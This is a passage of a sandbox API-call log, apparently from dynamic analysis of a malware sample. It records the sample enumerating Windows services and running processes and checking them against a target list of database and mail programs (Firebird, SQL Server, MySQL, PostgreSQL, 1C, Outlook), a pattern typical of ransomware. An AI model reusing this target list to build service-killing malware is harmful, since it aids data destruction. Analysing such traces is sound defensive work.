returned 7 [0073.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0073.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0073.231] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0073.231] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0073.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0073.231] lstrlenW (lpString="MMCSS") returned 5 [0073.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0073.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0073.232] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0073.232] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0073.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0073.232] lstrlenW (lpString="MpsSvc") returned 6 [0073.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0073.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0073.232] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0073.232] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0073.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0073.232] lstrlenW (lpString="Netman") returned 6 [0073.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0073.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0073.232] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0073.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0073.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0073.232] lstrlenW (lpString="netprofm") returned 8 [0073.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0073.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0073.232] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0073.232] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0073.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0073.232] lstrlenW (lpString="NlaSvc") returned 6 [0073.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0073.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0073.232] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0073.232] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0073.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0073.232] lstrlenW (lpString="nsi") returned 3 [0073.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0073.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0073.233] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0073.233] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0073.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0073.233] lstrlenW (lpString="PcaSvc") returned 6 [0073.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0073.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0073.233] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0073.233] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0073.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0073.233] lstrlenW (lpString="PlugPlay") returned 8 [0073.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0073.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0073.233] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0073.233] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0073.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0073.233] lstrlenW (lpString="Power") returned 5 [0073.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0073.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0073.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0073.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0073.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0073.233] lstrlenW (lpString="ProfSvc") returned 7 [0073.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0073.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0073.233] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0073.233] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0073.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0073.234] lstrlenW (lpString="RpcEptMapper") returned 12 [0073.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0073.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0073.234] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0073.234] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0073.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0073.234] lstrlenW (lpString="RpcSs") returned 5 [0073.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0073.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0073.234] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0073.234] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0073.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0073.234] lstrlenW (lpString="SamSs") returned 5 [0073.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0073.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0073.234] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0073.234] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0073.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0073.234] lstrlenW (lpString="Schedule") returned 8 [0073.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0073.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0073.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0073.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0073.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0073.234] lstrlenW (lpString="SENS") returned 4 [0073.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0073.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0073.234] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0073.235] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0073.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0073.235] lstrlenW (lpString="ShellHWDetection") returned 16 [0073.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0073.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0073.235] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0073.235] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0073.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0073.235] lstrlenW (lpString="Spooler") returned 7 [0073.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0073.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0073.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0073.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0073.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0073.235] lstrlenW (lpString="SysMain") returned 7 [0073.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0073.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0073.235] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0073.235] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0073.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0073.235] lstrlenW (lpString="Themes") returned 6 [0073.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0073.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0073.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0073.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0073.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0073.235] lstrlenW (lpString="TrkWks") returned 6 [0073.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0073.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0073.236] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0073.236] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0073.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0073.236] lstrlenW (lpString="UxSms") returned 5 [0073.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0073.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0073.236] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0073.236] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0073.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0073.236] lstrlenW (lpString="VSS") returned 3 [0073.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0073.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0073.236] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0073.236] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0073.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0073.236] lstrlenW (lpString="WdiServiceHost") returned 14 [0073.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0073.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0073.236] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0073.236] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0073.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0073.236] lstrlenW (lpString="WdiSystemHost") returned 13 [0073.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0073.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0073.236] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0073.236] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0073.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0073.236] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0073.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0073.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0073.237] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0073.237] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0073.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0073.237] lstrlenW (lpString="Winmgmt") returned 7 [0073.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0073.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0073.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0073.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0073.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0073.237] lstrlenW (lpString="WPDBusEnum") returned 10 [0073.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0073.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0073.237] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0073.237] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0073.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0073.237] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3959740 | out: hHeap=0x4b0000) returned 1 [0073.237] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0073.245] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0073.245] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0073.245] lstrlenW (lpString="System") returned 6 [0073.245] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0073.245] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0073.245] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0073.245] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0073.245] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0073.246] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0073.246] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0073.246] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0073.246] lstrlenW (lpString="smss.exe") returned 8 [0073.246] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0073.246] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0073.246] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0073.246] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0073.246] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0073.246] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0073.246] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0073.246] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.247] lstrlenW (lpString="csrss.exe") returned 9 [0073.247] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0073.247] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0073.247] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0073.247] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0073.247] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0073.247] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0073.247] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0073.247] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0073.247] lstrlenW (lpString="wininit.exe") returned 11 [0073.247] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0073.247] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0073.247] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0073.247] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0073.247] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0073.247] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0073.247] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0073.247] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.248] lstrlenW (lpString="csrss.exe") returned 9 [0073.248] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0073.248] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0073.248] lstrlenW (lpString="winlogon.exe") returned 12 [0073.248] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0073.249] lstrlenW (lpString="services.exe") returned 12 [0073.249] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0073.249] lstrlenW (lpString="lsass.exe") returned 9 [0073.249] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0073.250] lstrlenW (lpString="lsm.exe") returned 7 [0073.250] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.250] lstrlenW (lpString="svchost.exe") returned 11 [0073.250] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.250] lstrlenW (lpString="svchost.exe") returned 11 [0073.250] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.251] lstrlenW (lpString="svchost.exe") returned 11 [0073.251] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.251] lstrlenW (lpString="svchost.exe") returned 11 [0073.251] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.252] lstrlenW (lpString="svchost.exe") returned 11 [0073.252] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0073.252] lstrlenW (lpString="audiodg.exe") returned 11 [0073.252] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.252] lstrlenW (lpString="svchost.exe") returned 11 [0073.252] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.253] lstrlenW (lpString="svchost.exe") returned 11 [0073.253] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0073.253] lstrlenW (lpString="dwm.exe") returned 7 [0073.253] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0073.254] lstrlenW (lpString="explorer.exe") returned 12 [0073.254] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0073.254] lstrlenW (lpString="spoolsv.exe") returned 11 [0073.254] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.255] lstrlenW (lpString="svchost.exe") returned 11 [0073.255] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.255] lstrlenW (lpString="taskhost.exe") returned 12 [0073.255] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0073.255] lstrlenW (lpString="taskeng.exe") returned 11 [0073.256] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0073.256] lstrlenW (lpString="communist_nick.exe") returned 18 [0073.256] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0073.256] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0073.256] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0073.257] lstrlenW (lpString="prize.exe") returned 9 [0073.257] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0073.257] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0073.257] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0073.258] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0073.258] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, 